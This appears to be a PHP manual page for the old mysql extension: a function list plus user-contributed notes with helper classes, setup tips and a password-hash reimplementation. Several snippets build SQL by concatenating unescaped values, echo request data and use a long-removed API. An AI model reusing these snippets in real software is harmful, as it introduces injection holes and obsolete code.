  • mysql_connect — Open a connection to a MySQL Server
  • mysql_create_db — Create a MySQL database
  • mysql_data_seek — Move internal result pointer
  • mysql_db_name — Retrieves database name from the call to mysql_list_dbs
  • mysql_db_query — Selects a database and executes a query on it
  • mysql_drop_db — Drop (delete) a MySQL database
  • mysql_errno — Returns the numerical value of the error message from previous MySQL operation
  • mysql_error — Returns the text of the error message from previous MySQL operation
  • mysql_escape_string — Escapes a string for use in a mysql_query
  • mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc — Fetch a result row as an associative array
  • mysql_fetch_field — Get column information from a result and return as an object
  • mysql_fetch_lengths — Get the length of each output in a result
  • mysql_fetch_object — Fetch a result row as an object
  • mysql_fetch_row — Get a result row as an enumerated array
  • mysql_field_flags — Get the flags associated with the specified field in a result
  • mysql_field_len — Returns the length of the specified field
  • mysql_field_name — Get the name of the specified field in a result
  • mysql_field_seek — Set result pointer to a specified field offset
  • mysql_field_table — Get name of the table the specified field is in
  • mysql_field_type — Get the type of the specified field in a result
  • mysql_free_result — Free result memory
  • mysql_get_client_info — Get MySQL client info
  • mysql_get_host_info — Get MySQL host info
  • mysql_get_proto_info — Get MySQL protocol info
  • mysql_get_server_info — Get MySQL server info
  • mysql_info — Get information about the most recent query
  • mysql_insert_id — Get the ID generated in the last query
  • mysql_list_dbs — List databases available on a MySQL server
  • mysql_list_fields — List MySQL table fields
  • mysql_list_processes — List MySQL processes
  • mysql_list_tables — List tables in a MySQL database
  • mysql_num_fields — Get number of fields in result
  • mysql_num_rows — Get number of rows in result
  • mysql_pconnect — Open a persistent connection to a MySQL server
  • mysql_ping — Ping a server connection or reconnect if there is no connection
  • mysql_query — Send a MySQL query
  • mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement
  • mysql_result — Get result data
  • mysql_select_db — Select a MySQL database
  • mysql_set_charset — Sets the client character set
  • mysql_stat — Get current system status
  • mysql_tablename — Get table name of field
  • mysql_thread_id — Return the current thread ID
  • mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

Vladimir Kosmala 27-Oct-2010 04:57
Here a mysql helper containing the main functions of the mysql extension. It's easy to understand for a beginner and quite useful because queries are secure. It understands what you want, just write your sql query. I called it mysql_magic.

<?php
// Examples
$nb_affected = mysql_magic('delete from users');
$nb = mysql_magic('select count(*) from users');
$one_row = mysql_magic('select * from users limit 1');
$all_rows = mysql_magic('select * from users where name = ?', 'John');
$id = mysql_magic('insert into users(name,rank) values(?,?)', 'Vincent', 3);
?>

<?php
// Usage: mysql_magic($query [, $arg...]);
function mysql_magic()
{
    global $dblink, $sqlhost, $sqluser, $sqlpass, $sqlbase;
    $narg = func_num_args();
    $args = func_get_args();

    if (!$dblink)
    {
        $dblink = mysql_connect( $sqlhost, $sqluser, $sqlpass );
        mysql_select_db( $sqlbase, $dblink );
    }

    $req_sql = array_shift($args);
    $req_args = $args;

    $req_query = mysql_bind($req_sql, $req_args);
    $req_result = mysql_query($req_query);

    if (!$req_result)
    {
        trigger_error(mysql_error());
        return false;
    }

    if (startsWith($req_sql, 'delete') || startsWith($req_sql, 'update'))
    {
        return mysql_affected_rows(); // -1 || N
    }
    else if (startsWith($req_sql, 'insert'))
    {
        return mysql_insert_id(); // ID || 0 || FALSE
    }
    else if (endsWith($req_sql, 'limit 1'))
    {
        return mysql_fetch_assoc($req_result); // [] || FALSE
    }
    else if (startsWith($req_sql, 'select count(*)'))
    {
        $line = mysql_fetch_row($req_result);
        return $line[0]; // N
    }
    else
    {
        return mysql_fetch_all($req_result); // [][]
    }
}

function mysql_bind($sql, $values=array())
{
    foreach ($values as &$value) $value = mysql_real_escape_string($value);
    $sql = vsprintf( str_replace('?', "'%s'", $sql), $values);
    return $sql;
}

function mysql_fetch_all($result)
{
    $resultArray = array();
    while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
    return $resultArray;
}

function startsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, 0, strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, 0, strlen($needle)),$needle)===0);
}

function endsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);
}
?>

Don't forget to set $sqlhost, $sqluser, $sqlpass and $sqlbase.

With help of :
mysql_bind : http://php.net/manual/en/function.mysql-real-escape-string.php#96391
mysql_fetch_all : http://php.net/manual/en/function.mysql-fetch-assoc.php#90030

trigger_error may be enhanced with this tip : http://php.net/manual/en/function.trigger-error.php#98910
joachimb at gmail dot com 16-May-2008 11:28
Lazy Man's Logging:

<?php
  /// Creates a table called $table as (id, when, message) if none such exists, and inserts a row with $message in it.
  /// If no connection details are given, it uses the current database connection. Same goes for $database and $when.
  ///
  /// @returns TRUE on success or FALSE on failure.
  ///
  /// @example mysql_put_contents("orders", "I CAN HAZ CHEEZBURGER?", "mysite", NULL, "127.0.0.1:3306", "mysite_user", "secret") or die(mysql_error());
  /// @example mysql_put_contents("guestbook", "Longcat says: I'm loooooooooooong") or die("Errorz!");
  function mysql_put_contents($table, $message, $database = NULL, $when = NULL, $host = NULL, $user = NULL, $pass = NULL) {
    if($host)
        mysql_connect($host, $user, $pass);
      if($database)
        mysql_select_db($database);

      $qry = "CREATE TABLE IF NOT EXISTS `$table` (
             `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
             `when` TIMESTAMP DEFAULT NOW(),
             `message` TEXT NOT NULL
           );";
    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    $qry = "INSERT INTO `$table` VALUES(NULL, ".($when ? $when : 'NULL').", '".mysql_real_escape_string($message)."');";

    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    return TRUE;
  }

?>
dhirendrak at yahoo dot com 05-Feb-2008 08:03
<?php
# Created by dhirendra can be reached at dhirendrak at yahoo dot com
# This script is created to check the data difference between two tables
# when the structure of both tables are same.
# Limitation :
# 1) Structure of both tables should be same.
# 2) Name of both table should be different but if same than obviously
# second table should be if different database.
# 3) If use two database than both database permission should be same
# as i am using aliases to get the information.
#
# USES::
# 1) This may be useful when you did some changes in your existing
# script and you expect the certain output. So with the help of this
#    function you may compare the impact due to your changes in script.
#
#

$host="";        # host name or ip address
$user="";            # database user name
$pass="";    # database password
$database="";        # dateabase name with which you want to connect

# get connection with mysql
$dblink = @mysql_connect($host,$user,$pass);

# select and open database
mysql_select_db($database,$dblink);

$db1="< your db1 >"; // first database
// second database if database are same for both tables than use the same as db1
$db2="< your db2 >";
$table1="< your table1 >"; // first table
// second table if database is same for both tables than table name
# must be different but fields name are same and order of the fields are same.

$table2="< your table2 >";

// function starts here
function table_data_difference($first,$second)
{
    global $dblink;
    $sql1 = "SHOW FIELDS FROM $first";
    $result = mysql_query($sql1,$dblink) or die("Having error in execution 1 ==".mysql_error());

    while($row = mysql_fetch_object($result))
    {
        $from_fields[]=$row->Field;
    }

    $sql="select * from $first";
    $res=mysql_query($sql,$dblink) or die("Having error in execution 2==".mysql_error());
    $j=1;
    while($row=mysql_fetch_array($res))
    {

        $num=count($from_fields);

        $sql_next="select $second.* from $second where";

        for($i=0;$i < $num;$i++)
        {
            $sql_next=$sql_next." ".$second.".".$from_fields[$i]."='".$row[$from_fields[$i]]."' and ";
        }

        $sql_next=substr($sql_next,0,strlen($sql_next)-5);

        $res_next=mysql_query($sql_next,$dblink) or die("Having error in execution 3==".mysql_error());
        $num1=mysql_num_rows($res_next);
        if($num1==0)
        {
            for($i=0;$i < count($from_fields);$i++)
            {
                $val=$val."<br>".$from_fields[$i]."=".$row[$from_fields[$i]];
            }
            // Display the record which are not matched.
            echo "<br>\n".$j.".".$val;
            echo "<br>-----------------------------------------------------";
            $j++;
        }

    }

}

$first=$db1.'.'.$table1;
$second=$db2.'.'.$table2;

table_data_difference($first,$second);

?>
matiyahoo-publico at yhoo dot com dot ar 18-Nov-2007 05:26
David:

In this line:

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";

PHP may read $username[, *including* the open square bracket, and may think you are trying to get into an array.

You should use this instead:

$query = "SELECT username FROM users WHERE username REGEXP '${username}[0-9*]'";

Or maybe this:

$query = "SELECT username FROM users WHERE username REGEXP '$username" . "[0-9*]'";
david at kiwi dot com 10-Nov-2007 05:13
I am wanting to increment usernames which are to be alphabetic characters A-Z or a-z and if someone uses "abc" it will automatically be given "abc1" and the next applicant to apply for that same username will automatically be given "abc2", the next "abc3" and so on. If I enter the following into MySQL;

SELECT username FROM users WHERE username REGEXP 'abc[0-9*]';

the result is

abc1
abc2
abc3

I have been given the following script from another forum but it does not work;

<?php
$username = 'abc';
$query = "SELECT username FROM users WHERE username LIKE '$username%'";
$res = mysql_query($query);
while($row = mysql_fetch_assoc($res)) {
   $n = str_replace($username, '', $row['username']);
   if ($old_n+1!=$n) {
      $new_user = $username . ($old_n+1);
      break;
   }
}
?>

In addition to the script not working the "LIKE" function would not be suitable because if a username was applied as "blue" it would pick up usernames "blue1" and "bluebird1" therefore it appears as if "REGEXP '$username[0-9*]' is the only or correct option.

I have tried the REGEXP option in association with the balance of the code but it appears as if PHP will not interact with the "[" and "]" in the following;

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";
SID TRIVEDI 07-Nov-2007 01:33
<?php
/*
MySQL (Community) Server Installation on 32-bit Windows XP running Apache

On Windows, the recommended way to run MySQL is to install it as a Windows service, whereby MySQL starts and stops automatically when Windows starts and stops. A MySQL server installed as a service can also be controlled from the command line commands, or with the graphical Services utility like phpMyAdmin.

PHP ---> MySQL CONNECTORS (php_mysql.dll and php_mysqli.dll as extensions)
MySQL provides the mysql and mysqli extensions for the Windows operating system on http://dev.mysql.com/downloads/connector/php/ for MySQL version 4.1.16 and higher, MySQL 5.0.18, and MySQL 5.1. As with enabling any PHP extension in php.ini (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located.

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH.

Following PHP Script is useful to test PHP connection with MySQL.
*/

//$connect = mysql_connect("Your Host Name", "MySQL root directory", 'MySQL password, if any');
//$connect = mysql_connect("Host Name or Address - 127.0.0.1", "root", 'password');
$connect = mysql_connect("localhost", "root", 'password');
if ($connect){
echo "Congratulations!\n<br>";
echo "Successfully connected to MySQL database server.\n<br>";
}else{
$error = mysql_error();
echo "Could not connect to the database. Error = $error.\n<br>";
exit();
}

// Closing connection
$close = mysql_close($connect);
if ($close){
echo "\n<br>";
echo "Now closing the connection...\n<br>";
echo "MySQL connection closed successfully as well.\n<br>";
}else{
echo "There's a problem in closing MySQL connection.\n<br>";
}
exit();
?>
rad14701 at yahoo dot com 14-Oct-2007 09:01
@Amanda 12-Oct-2007 09:58

I almost had to ask myself if this was a real question... If the MySQL server rejects the connection attempt then, yes, MySQL would be able to send back an error to PHP... And if PHP can't access the target MySQL server at all then it is also smart enough to issue the appropriate error all by itself...
arnold_dba 13-Oct-2007 03:36
Also, to secure MySQL data and to be able to comply with PCI standards, you should encrypt the data. There are many ways to do it. For hackers, you can use dm-crypt (www.saout.de/misc/dm-crypt) tool. It is basically used to encrypt the whole partition. If you want a sophisticated solution go with Security-GENERAL for MySQL from packet general (www.packetgeneral.com)
On windows, you can use disk encryption feature provided by windows itself or tool like trucrypt (www.truecrypt.org)
DuiMDog 02-Sep-2007 12:19
On 11-Apr-2007 admin at mihalism dot com posted an 'easy to use MySql-class'.
In my opinion there is a bug in the get_affected_rows-function. It refers to query-id, but  it should refer to connect-id instead.

The corrected function should be:
    function get_affected_rows($connect_id = ""){
            if($connect_id == NULL){
                $return = mysql_affected_rows($this->connect_id);
            }else{
                $return = mysql_affected_rows($connect_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
atk2 at hotmail dot com 14-Jun-2007 05:56
After finally getting IIS, PHP, and MySQL on a new Windows XP machine, I decided to write the steps I took so you can see how it was done: http://www.atksolutions.com/articles/install_php_mysql_iis.html

Hope this helps.
Nobody Special 14-Apr-2007 08:20
This PHP5-only class is used so that $db isn't passed. Kudos to arjen at queek dot nl for example.

<?php
class SQL {
 private $db;
 public function __construct($host="localhost",$user="root",$pass="",$db="") {
  $this->db = @mysql_connect($host, $user, $pass);
  if(!$this->db) die(@mysql_error());
  if($db != "") $dbs = @mysql_select_db($db);
  if(!$dbs) die(@mysql_error());
 }
 public function __destruct() {
  @mysql_close($db);
 }
 public function __call($function, $arguments) {
  array_push($arguments, $this->db);
  $return = call_user_func_array("mysql_".$function, $arguments);
  if(!$return) die(@mysql_error());
 }
}

$db = new SQL();
$query = $db->query("SELECT * FROM this_table WHERE my_variable='1'");
$fetch = $db->fetch_array($query);
print_r($fetch);
?>
mega-squall at caramail dot com 13-Apr-2007 11:35
For Windows users, please note:

If apache is installed as a service, and you change PATH variable so it can reach libmysql.dll, you will need to reboot your machine in order to have changes applied.
admin at mihalism dot com 11-Apr-2007 04:48
Heres a easy to use MySQL class for any website

<?php
    class mysql_db{
        //+======================================================+
        function sql_connect($sqlserver, $sqluser, $sqlpassword, $database){
            $this->connect_id = mysql_connect($sqlserver, $sqluser, $sqlpassword);
            if($this->connect_id){
                if (mysql_select_db($database)){
                    return $this->connect_id;
                }else{
                    return $this->error();
                }
            }else{
                return $this->error();
            }
        }
        //+======================================================+
        function error(){
            if(mysql_error() != ''){
                echo '<b>MySQL Error</b>: '.mysql_error().'<br/>';
            }
        }
        //+======================================================+
        function query($query){
            if ($query != NULL){
                $this->query_result = mysql_query($query, $this->connect_id);
                if(!$this->query_result){
                    return $this->error();
                }else{
                    return $this->query_result;
                }
            }else{
                return '<b>MySQL Error</b>: Empty Query!';
            }
        }
        //+======================================================+
        function get_num_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_num_rows($this->query_result);
            }else{
                $return = mysql_num_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function fetch_row($query_id = ""){
            if($query_id == NULL){
                $return = mysql_fetch_array($this->query_result);
            }else{
                $return = mysql_fetch_array($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function get_affected_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_affected_rows($this->query_result);
            }else{
                $return = mysql_affected_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function sql_close(){
            if($this->connect_id){
                return mysql_close($this->connect_id);
            }
        }
        //+======================================================+
    }

    /* Example */

    $DB = new mysql_db();
    $DB->sql_connect('sql_host', 'sql_user', 'sql_password', 'sql_database_name');
    $DB->query("SELECT * FROM `members`");
    $DB->sql_close();
?>
davesteinb at yahoo dot com 14-Aug-2006 12:32
I made this function to reduce DB calls. You can store Mysql results in a session var and sort the results on any column. Might work nice in an AJAX app.

<?

function mysql_sort($results, $sort_field, $dir="ASC") {
    $temp_array = array();
    $i=0;
    foreach ($results as $res) {
        $temp_array[$i] = $res[$sort_field];
        $i++;
    }
    if ($dir=="ASC") {
        asort($temp_array);
    } else {
        arsort($temp_array);
    }

    $new_results = array();
    $i=0;
    foreach($temp_array as $k => $v) {
        $new_results[$i] = $results[$k];
        $i++;
    }
    ksort($new_results);
    return $new_results;

}

//use
if (count($_SESSION["res"])==0) {
    $_SESSION["res"] = [GET DATABASE RESULTS HOWEVER YOU MAY]
}

$_SESSION["res"] = mysql_sort($_SESSION["res"], $_REQUEST["sort"], $_REQUEST["dir"]);

?>
<table>
<tr>
  <td><a href="page.php?sort=f_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">First</a></td>
  <td><a href="page.php?sort=l_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">Last</a></td>
</tr>

<? foreach ($_SESSION["res"] as $r) {?>
<tr>
  <td><?=$r["f_name"]?></td>
  <td><?=$r["l_name"]?></td>
</tr>
<? } ?>
</table>
richard at NOSPAM dot dimax dot com 20-Jul-2006 01:58
In response to Conrad Decker's post below:

If your tables contain foreign key constraints you will not be able to properly restore from a datafile created by mysqldump.

mysqldump dumps table data in alphabetical order, not in the logical order required by the foreign key constraints.
vbolshov at rbc dot ru 10-Jul-2006 08:27
I have recently ran into a problem with configuring php extensions related to mysql (namely, mysql and pdo_mysql). Later I've discovered that it wasn't a PHP problem but that of MySQL - libmysqlclient doesn't ship with binary downloads. I've built MySQL from sources and both extensions then compiled successfully.
sb at stephenbrooks dot org 01-May-2006 10:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
    if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
yp 15-Mar-2006 11:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk 17-Feb-2006 12:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
Joe Greklek 15-Dec-2005 10:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
nick smith 19-Sep-2005 09:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com 01-Sep-2005 10:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl 25-Aug-2005 04:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com 04-Aug-2005 10:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com 20-Jul-2005 12:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *     1 - primary key must be named "id"
 *     2 - foreign key must be named "id..." eg.: id_field
 *     3 - lowercase is recomended
 */

    $Q = str_replace(array(chr(10),chr(13))," ",$Q);
    $Q = str_replace(array("'","`")," ",$Q);

    preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

    $part1 = $A[1];
    $part2 = $A[2];
    $part3 = $A[3];

    preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

    $tbname = strtolower($A[2]);

    $temp = split(",",$part2);
    foreach ($temp as $t) {
        preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
        $pcampo = strtolower($A[1]);
        $ptipo = strtolower($A[2]);
        if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
            if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
                $kfields[] = $pcampo;
            else {
                $fields[] = $pcampo;
                $tipos[] = $ptipo;
            }
        }
    }
}
?>
Microsoul V3 05-Jun-2005 12:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com 29-May-2005 07:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
medic at setiherbipolis dot de 15-May-2005 05:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
06-Mar-2005 08:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee 03-Mar-2005 06:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
nleippe at integr8ted dot com 13-Oct-2004 12:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
aidan at php dot net 15-Aug-2004 02:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidanlister.com/repos/v/function.mysql_draw_table.php
irn-bru at gmx dot de 27-May-2004 02:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
soren at byu dot edu 14-Mar-2003 10:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                  $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr2 += ($nr2 << 8) ^ $nr;
                  $add += $charVal;
        }

        return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
mijnpc at xs4all dot nl 20-Nov-2002 11:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

